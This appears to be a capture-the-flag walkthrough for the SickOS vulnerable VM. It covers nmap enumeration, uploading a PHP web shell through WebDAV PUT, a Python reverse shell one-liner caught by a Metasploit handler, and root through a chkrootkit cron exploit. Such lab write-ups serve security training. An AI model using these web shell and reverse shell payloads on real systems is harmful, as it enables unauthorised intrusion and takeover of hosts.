First find the ip doing a quick nmap range scan
nmap -sP 192.168.56.100-120
Target is running on 192.168.56.102
Enumerate our target using nmap
nmap -v -sS -A -T5 192.168.56.102
Looks like only HTTP and SSH are open…
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA) | 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA) |_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA) 80/tcp open http lighttpd 1.4.28 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: lighttpd/1.4.28 |_http-title: Site doesn't have a title (text/html).
Opening up the target on a web browser and viewing source reveals..
<html> <img src="blow.jpg"> </html> <!-- NOTHING IN HERE ///\\\ -->>>>
You can use nikto to gather more http information
nikto -h 192.168.56.102
Not much here either.
Now we’ll want to use DirBuster to gather our targets http directories.
The only directory that comes up is /test which we go to. Not seeing any other files or directories besides /test we can use curl to further our enumeration.
curl -vX OPTIONS http://192.168.56.102/test
We now see this tidbit of information.
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
This allows http PUT method, which will allow you to upload files into /test
We can upload a test.txt into the /test directory using curl.
curl -vX PUT -d "Greetings Earthling" http://172.16.16.141/test/test.txt
This is where I ran into some issues. I was getting 403 errors when trying to upload various files (php, txt, jpg, etc). I remember skimming the SickOS documentation on vulnhub and recall reading that there may be issues when running on VirtualBox.
After rebooting the target a few times, upon boot I noticed an error regarding no hdd space available - which would cause the 403 error. I converted the VMDK to VDI using the VBoxMange tool through cmd.
You’ll open cmd and get to your VirtualBox directory, then run VBoxManage and convert.
c:\Program Files\Oracle\VirtualBox> VBoxManage clonehd --format VDI "c:\path to original sickos\sickos.vmdk" "c:\new path\sickos.vdi"
Once it’s been cloned as VDI, create a New virtual machine then browse and select to your new .vdi - Boot it up and scan nmap ip ranges to check if the ip has been changed.
Try uploading again and you’ll see we’re back in business.
After testing a bit we find out the target accepts multiple files, including PHP. Knowing this, we can upload a PHP web shell with curl.
curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.56.102/test/shell.php
Looks like the php file has been written. We can do a quick test by passing some shell commands as encoded url syntax.
Now the idea is to get our target machine to throw us (attacker machine) a reverse shell.
On our Attacker machine we’ll listen on port 443 through a reverse handler on Metaspolit. Then pass a python reverse shell through our /test/shell.php using encoded url syntax.
msf > use exploit/multi/handler msf exploit(handler) > set lhost 192.168.56.104 lhost => 192.168.56.104 msf exploit(handler) > set lport 443 lport => 443 msf exploit(handler) > set payload linux/x86/shell_reverse_tcp payload => linux/x86/shell_reverse_tcp msf exploit(handler) > run
now we’re listening for our target to throw us a reverse shell…
Python Reverse Shell
We can find the python reverse shell script on pentestmonkey.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Change the ip to your Attackers ip, then run the script through a url encode conversion tool.
Once encoded, run the full command..
and we see msf…
msf exploit(handler) > run [*] Started reverse TCP handler on 192.168.56.104:443 [*] Starting the payload handler... [*] Command shell session 1 opened (192.168.56.104:443 -> 192.168.56.102:51189) at 2017-02-12 13:24:48 -0500 /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $
Now we have shell, but not root.
This part is probably the most time consuming. Best thing to do is just dig and enumerate as best you can. There are plenty of guides to assist in privilege escalation, and also some common exploits you can check for initially.
Eventually I found chkrootkit was being ran as a daily job. Searching the msf db I found a chkrootkit exploit that fit into the version that was running.
Check to see when it’s ran…
/var/log/syslog | grep chkrootkit
and looks like it’s ran every minute.
Now we can run the shell session in the background then search and set the chkrootkit exploit.
msf exploit(chkrootkit) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 2 shell linux /bin/sh: 0: can't access tty; job control turned off $ 192.168.56.104:443 -> 192.168.56.102:51190 (192.168.56.102) msf exploit(chkrootkit) > set lport 8080 lport => 1337 msf exploit(chkrootkit) > set session 2 session => 2 msf exploit(chkrootkit) > set lhost 192.168.56.104 lhost => 192.168.56.104 msf exploit(chkrootkit) > run
You should have root now…
[*] exec: whoami root
Once you ls files in /root you’ll see the flag “7d03aaa2bf93d80040f3f22ec6ad9d5a.txt”